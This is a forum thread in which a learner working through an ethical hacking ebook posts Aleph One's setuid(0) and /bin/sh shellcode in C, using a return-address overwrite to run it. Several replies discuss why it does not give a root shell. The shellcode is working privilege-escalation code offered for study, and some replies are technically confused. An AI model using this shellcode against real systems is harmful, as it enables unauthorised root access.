I have this code .... Ethical Hacking

Question

hello folks, I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code.

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return

    //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the

    //address of the shellcode, so it executes.

}

I give this the super user privileges, with

chmod u+s shellcode

as a super user, then go back to normal user with

su - normal_user

but when I run ./shellcode I should be a root user but instead I still be normal_user so any help?? btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...

Answer 1

Is the shellcode executable owned by root? The setuid bit (u+s) makes the executable run with the privileges of its owner, which is not necessarily root.

Answer 2

Well, setuid() changes the user for the currently running program. Your Shell will still be running under your normal user! :)

Either that, or I don't get this hack's purpose.

Answer 3

I think setuid only sets the uid to 0 while the program is running. Can you perform some operation to check the UID while the shellcode is running?

Answer 4

If this is an old exploit... Shouldn't it have been already fixed long ago?

By the way, as a personal advice: don't be so lame to use that nickname and then go around asking about exploits

Answer 5

If I get it right, the code you are executing (setuid(0)) is a System Call that changes the current user to the root. The catch is that it's changing the current user id over that process, giving that process root authority. If it is working you could run anything with root privileges.

To test it, create a file or directory with the root, make sure you can't remove it as a simple user, and then try adding code to your executable that removes the file. If the code is working, the file should be deleted.

Then, to gain root powers, try to fork to a new shell from within your program. I'm not sure if it's possible, though.

...however, this is an old exploit. Old kernels might be open to this, but using any recent release will do nothing at all.

UPDATE: I've just re-read the code and realized the call to the shell is there (/bin/sh), so you are already forking to a supposed super-user shell. To check if it's actually working, see the PID of your shell before and after the call. If it has changed, exit the shell, you should return to the previous PID. That means (1) it worked, you manipulated the stack and executed that code there, and (2) the exploit is fixed and the Kernel is preventing you from gaining access.